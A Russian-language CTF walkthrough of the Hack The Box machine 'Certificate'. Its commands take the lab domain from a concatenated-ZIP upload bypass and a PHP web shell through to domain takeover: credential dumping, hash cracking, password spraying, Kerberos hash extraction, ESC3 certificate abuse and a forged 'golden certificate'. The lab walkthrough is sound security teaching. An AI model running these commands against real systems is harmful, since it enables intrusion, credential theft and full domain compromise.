stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как использовать привилегию SeManageVolume для получения «золотого сертификата» и захвата домена на Windows. Перед этим нас ждет череда других уязвимостей: мы загрузим склеенные ZIP-архивы на сайт, чтобы обойти фильтр, получим шелл, вытащим учетки из базы данных, проанализируем трафик для атаки на Kerberos и применим технику ESC3 AD CS.
Наша конечная цель — получение прав суперпользователя на машине Certificate с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
На хосте работает веб‑сервер, поэтому сразу просмотрим сайт.
Главная страница сайта
Регистрация пользователя
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов при помощи feroxbuster.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
feroxbuster -u Для просмотра ссылки Войдиили Зарегистрируйся -d 1 -t 128 -w php_files_common.txt
Результат сканирования каталогов с помощью feroxbuster
Находим интересные страницы вроде db.php, которая говорит об использовании базы данных, а также upload.php — для загрузки файлов. Но сама страница требует дополнительные параметры.
Содержимое страницы upload.php
Осматриваемся на сайте и находим страницу с курсами. При переходе к определенному курсу появляется страница с формой загрузки файла.
Страница курса
Форма загрузки файла
Ответ сервера
Однако можно воспользоваться техникой Для просмотра ссылки Войдиили Зарегистрируйся, при которой два архива будут записаны подряд в одном файле. Проверяться будет первый архив, а файлы получим из второго.
Результат загрузки файла
При просмотре в адресной строке видим путь к файлу.
Путь к файлу
Теперь вместо file.pdf указываем свой реверс‑шелл shell.php и команду whoami.
Результат выполнения команды whoami
Запускаем листенер:
И выполняем реверс‑шелл, чтобы получить удобную командную оболочку. Получаем сессию от имени учетной записи xamppuser.
Сессия пользователя xamppuser
Содержимое файла db.php
В XAMPP входят утилиты для работы с базами данных MySQL, можем ими воспользоваться.
Содержимое каталога xampp
Первым делом получим список баз данных.
Базы данных
Перспективнее всего выглядит certificate_webapp_db. Запрашиваем список таблиц этой базы данных.
Таблицы в базе certificate_webapp_db
В таблице users, скорее всего, лежат учетные данные пользователей. Посмотрим поближе.
Содержимое таблицы users
Сохраним хеши пользователей, у которых почта на домене certificate.htb, и пробрутим с помощью hashcat.
Результат подбора пароля
У нас один пароль, поэтому получим список пользователей домена и сохраним в файл.
Пользователи домена
Теперь спреим пароль по всем найденным учеткам утилитой NetExec и получаем валидную пару учетных данных.
Результат подбора учетных данных
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора базы будем использовать Для просмотра ссылки Войдиили Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.
Логи RustHound
Данные собираются очень быстро. Скачиваем итоговый архив и строим граф от пользователя Sara.B.
Граф BloodHound
Пользователь состоит в группе Help Desk, члены которой также будут состоять в группе Remote Managemets Users. Это дает нам возможность авторизоваться по WinRM.
Среди документов пользователя находим не флаг, а сообщение и дамп трафика.
Содержимое каталога Documents
В сообщении говорится, что дамп трафика сделан во время аутентификации на SMB-сервере. Скачиваем дамп для анализа, ведь мы сможем найти там какие‑нибудь учетные данные.
Содержимое файла Description.txt
Открываем скачанный файл в WireShark и ставим фильтр для протокола SMB. Видим много сообщений о неудачной аутентификации, однако есть один запрос, где подключение выполнено успешно, но там не было NTLM-аутентификации.
Сетевой трафик SMB
Отключаем фильтр и видим перед подключением один пакет Kerberos (KRB5).
Сетевой трафик
В фильтре ставим протокол Kerberos и выбираем запрос KRB5 AS-REQ. Из этого сетевого пакета мы сможем собрать хеш пароля пользователя для подбора.
Содержимое пакета KRB5
В поле etype указано значение 18, для него Для просмотра ссылки Войдиили Зарегистрируйся находим нужный формат хеша и режим 19900.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь из сетевого пакета собираем хеш по указанному формату:
И отправляем на перебор в hashcat.
Результат подбора пароля
С помощью NetExec подтверждаем, что учетные данные пользователя Lion.SK до сих пор действительны.
Результат проверки учетных данных
Поскольку мы получаем новую учетку, строим граф от пользователя Lion.SK.
Граф BloodHound
Так как пользователь состоит в группе Remote Management Users, можно получить сессию через WinRM.
Флаг пользователя
Граф BloodHound
Для эксплуатации техники ESC3 AD CS нам нужно определиться с целевыми пользователем и шаблоном сертификата. Первым делом в BloodHound отобразим пользователей, у которых есть электронная почта.
Получив доступ к шаблону и выполнив Enroll, атакующий получает сертификат Enrollment Agent (подставного пользователя), использует его для аутентификации и получает привилегии целевого аккаунта в домене. Результат — полная компрометация AD, раскрытие секретов и удаленное управление инфраструктурой.
Запрос BloodHound
Среди отфильтрованных учетных записей отметим пользователя Ryan.K, который состоит в группе Domain Storage Managers.
Граф BloodHound
С помощью Для просмотра ссылки Войдиили Зарегистрируйся получим все активные шаблоны сертификатов. Перед запросом на сервер нужно указать имя центра сертификации Certificate-LTD-CA в файле /etc/hosts.
Шаблон SignedUser может быть использован при эксплуатации ESC3.
Шаблон сертификата SignedUser
Для эксплуатации ESC3 первым делом запросим сертификат по шаблону Delegated-CRA.
Запрос сертификата
Выполним запрос сертификата по шаблону SignedUser для пользователя Ryan.K. При этом утверждаем запрос с помощью полученного ранее CRA-сертификата.
Запрос сертификата
По сертификату пользователя можно получить билет TGT, из которого затем извлечь NTLM-хеш пароля владельца билета. Certipy это все делает автоматически.
Учетные данные пользователя Ryan.K
Информация о пользователе
У пользователя есть привилегия SeManageVolumePrivilege. В Для просмотра ссылки Войдиили Зарегистрируйся Microsoft говорится:
или Зарегистрируйся.
Эксплуатация привилегии
Так как на хосте установлен центр сертификации, мы можем получить корневой сертификат центра сертификации и с его помощью выпустить «золотой сертификат» для любого пользователя домена.
Экспорт корневого сертификата
Теперь с помощью полученного сертификата создаем сертификат для пользователя administrator.
Создание «золотого сертификата»
По сертификату пользователя получаем его TGT и из него извлекаем NTLM-хеш пароля.
Учетные данные пользователя
Осталось авторизоваться по WinRM и забрать последний флаг.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Certificate с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.71 certificate.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Apache 2.4.58;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — WinRM;
- 9389 — веб‑службы AD DS.
10.10.11.71 certificate.htb dc01.certificate.htb
На хосте работает веб‑сервер, поэтому сразу просмотрим сайт.

Точка входа
На сайте можно зарегистрироваться, обязательно сделаем это, чтобы иметь максимум возможностей.
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов при помощи feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -d — глубина сканирования;
- -t — количество потоков;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся).
feroxbuster -u Для просмотра ссылки Войди

Находим интересные страницы вроде db.php, которая говорит об использовании базы данных, а также upload.php — для загрузки файлов. Но сама страница требует дополнительные параметры.

Осматриваемся на сайте и находим страницу с курсами. При переходе к определенному курсу появляется страница с формой загрузки файла.


Точка опоры
Файл принимает офисные документы и ZIP-архивы. При попытке загрузить на сервер веб‑шелл в архиве получаем ошибку с пометкой о вредоносном контенте.
Однако можно воспользоваться техникой Для просмотра ссылки Войди
Код:
# <?=$_GET[0]?>
echo -n qweqwe > file.pdf
zip file.zip file.pdf
zip shell.zip shell.php
cat file.zip shell.zip > all.zip

При просмотре в адресной строке видим путь к файлу.

Теперь вместо file.pdf указываем свой реверс‑шелл shell.php и команду whoami.

Запускаем листенер:
rlwrap nc -nlvp 4321
И выполняем реверс‑шелл, чтобы получить удобную командную оболочку. Получаем сессию от имени учетной записи xamppuser.

Продвижение
Пользователь Sara.B
Веб‑приложение использует базу данных, и в файле db.php лежат учетные данные от нее — без проблем получаем их.
В XAMPP входят утилиты для работы с базами данных MySQL, можем ими воспользоваться.

Первым делом получим список баз данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "show databases;"

Перспективнее всего выглядит certificate_webapp_db. Запрашиваем список таблиц этой базы данных.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; show tables;"

В таблице users, скорее всего, лежат учетные данные пользователей. Посмотрим поближе.
mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; select * from users;"

Сохраним хеши пользователей, у которых почта на домене certificate.htb, и пробрутим с помощью hashcat.
hashcat -m 3200 hashes.txt rockyou.txt

У нас один пароль, поэтому получим список пользователей домена и сохраним в файл.
net users /domain

Теперь спреим пароль по всем найденным учеткам утилитой NetExec и получаем валидную пару учетных данных.
nxc smb 10.10.11.71 -u users.txt -p Blink182

Пользователь Lion.SK
Теперь соберем базу BloodHound.Справка: BloodHound
Утилита Для просмотра ссылки ВойдиДля сбора базы будем использовать Для просмотра ссылки Войди
rusthound-ce -d certificate.htb -u Sara.B -p Blink182 -i 10.10.11.71 -c All -z

Данные собираются очень быстро. Скачиваем итоговый архив и строим граф от пользователя Sara.B.

Пользователь состоит в группе Help Desk, члены которой также будут состоять в группе Remote Managemets Users. Это дает нам возможность авторизоваться по WinRM.
evil-winrm -i 10.10.11.71 -u Sara.B -p Blink182
Среди документов пользователя находим не флаг, а сообщение и дамп трафика.

В сообщении говорится, что дамп трафика сделан во время аутентификации на SMB-сервере. Скачиваем дамп для анализа, ведь мы сможем найти там какие‑нибудь учетные данные.

Открываем скачанный файл в WireShark и ставим фильтр для протокола SMB. Видим много сообщений о неудачной аутентификации, однако есть один запрос, где подключение выполнено успешно, но там не было NTLM-аутентификации.

Отключаем фильтр и видим перед подключением один пакет Kerberos (KRB5).

В фильтре ставим протокол Kerberos и выбираем запрос KRB5 AS-REQ. Из этого сетевого пакета мы сможем собрать хеш пароля пользователя для подбора.

В поле etype указано значение 18, для него Для просмотра ссылки Войди
Для просмотра ссылки Войди
Теперь из сетевого пакета собираем хеш по указанному формату:
$krb5pa$18$<user>$<domain>$<cipher>
И отправляем на перебор в hashcat.
hashcat -m 19900 krb_hash.txt rockyou.txt

С помощью NetExec подтверждаем, что учетные данные пользователя Lion.SK до сих пор действительны.
nxc smb 10.10.11.71 -u Lion.SK -p '!QAZ2wsx'

Поскольку мы получаем новую учетку, строим граф от пользователя Lion.SK.

Так как пользователь состоит в группе Remote Management Users, можно получить сессию через WinRM.
evil-winrm -i 10.10.11.72 -u lion.sk -p '!QAZ2wsx'

Пользователь Ryan.K
Пользователь Lion.SK входит в группу Domain CRA Managers, которая может выпускать сертификаты по шаблону Delegated-CRA.
Для эксплуатации техники ESC3 AD CS нам нужно определиться с целевыми пользователем и шаблоном сертификата. Первым делом в BloodHound отобразим пользователей, у которых есть электронная почта.
Справка: ESC3
ESC3 — это класс уязвимостей в настройках Active Directory Certificate Services (AD CS), когда шаблон сертификата настроен как Enrollment Agent и разрешает обычному пользователю выполнять выдачу сертификатов от имени других учетных записей. По сути, злоумышленник с правом Enroll может по такому шаблону запросить сертификат, подписанный CA, который позволяет действовать от имени администратора или другого привилегированного аккаунта.Получив доступ к шаблону и выполнив Enroll, атакующий получает сертификат Enrollment Agent (подставного пользователя), использует его для аутентификации и получает привилегии целевого аккаунта в домене. Результат — полная компрометация AD, раскрытие секретов и удаленное управление инфраструктурой.

Среди отфильтрованных учетных записей отметим пользователя Ryan.K, который состоит в группе Domain Storage Managers.

С помощью Для просмотра ссылки Войди
10.10.11.71 certificate.htb dc01.certificate.htb Certificate-LTD-CA
Шаблон SignedUser может быть использован при эксплуатации ESC3.
certipy find -u '[EMAIL]lion.sk@certificate.htb[/EMAIL]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -stdout -enabled

Для эксплуатации ESC3 первым делом запросим сертификат по шаблону Delegated-CRA.
certipy req -u '[EMAIL]lion.sk@certificate.htb[/EMAIL]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'

Выполним запрос сертификата по шаблону SignedUser для пользователя Ryan.K. При этом утверждаем запрос с помощью полученного ранее CRA-сертификата.
certipy req -u '[EMAIL]lion.sk@certificate.htb[/EMAIL]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'certificate\ryan.k'

По сертификату пользователя можно получить билет TGT, из которого затем извлечь NTLM-хеш пароля владельца билета. Certipy это все делает автоматически.
faketime -f '+8h' certipy auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'

Локальное повышение привилегий
Пользователь состоит в группе Domain Storage Managers, поэтому просмотрим привилегии учетной записи.evil-winrm -i 10.10.11.71 -u ryan.k -H b1bc3d70e70f4f36b1509a65ae1a2ae6
whoami /all

У пользователя есть привилегия SeManageVolumePrivilege. В Для просмотра ссылки Войди
Значит, с этой привилегией можно получить дескриптор основного диска и перераспределить ACL для всего диска с группы администраторов (S-1-5-32-544) на группу пользователей (S-1-5-32-545). Это реализовано в утилите Для просмотра ссылки ВойдиЭтот параметр политики определяет, какие пользователи могут выполнять задачи по управлению томами или дисками, такие как дефрагментация существующего тома, создание или удаление томов и запуск Disk Cleanup.

Так как на хосте установлен центр сертификации, мы можем получить корневой сертификат центра сертификации и с его помощью выпустить «золотой сертификат» для любого пользователя домена.
certutil -exportPFX my "Certificate-LTD-CA" C:\Users\Ryan.K\Documents\ca.pfx

Теперь с помощью полученного сертификата создаем сертификат для пользователя administrator.
certipy forge -ca-pfx ca.pfx -upn '[EMAIL]administrator@certificate.htb[/EMAIL]' -out administrator.pfx

По сертификату пользователя получаем его TGT и из него извлекаем NTLM-хеш пароля.
faketime -f '+8h' certipy auth -dc-ip 10.10.11.71 -pfx administrator.pfx -username administrator -domain certificate.htb

Осталось авторизоваться по WinRM и забрать последний флаг.
evil-winrm -i 10.10.11.71 -u ryan.k -H d804304519bf0143c14cbf1c024408c6

Машина захвачена!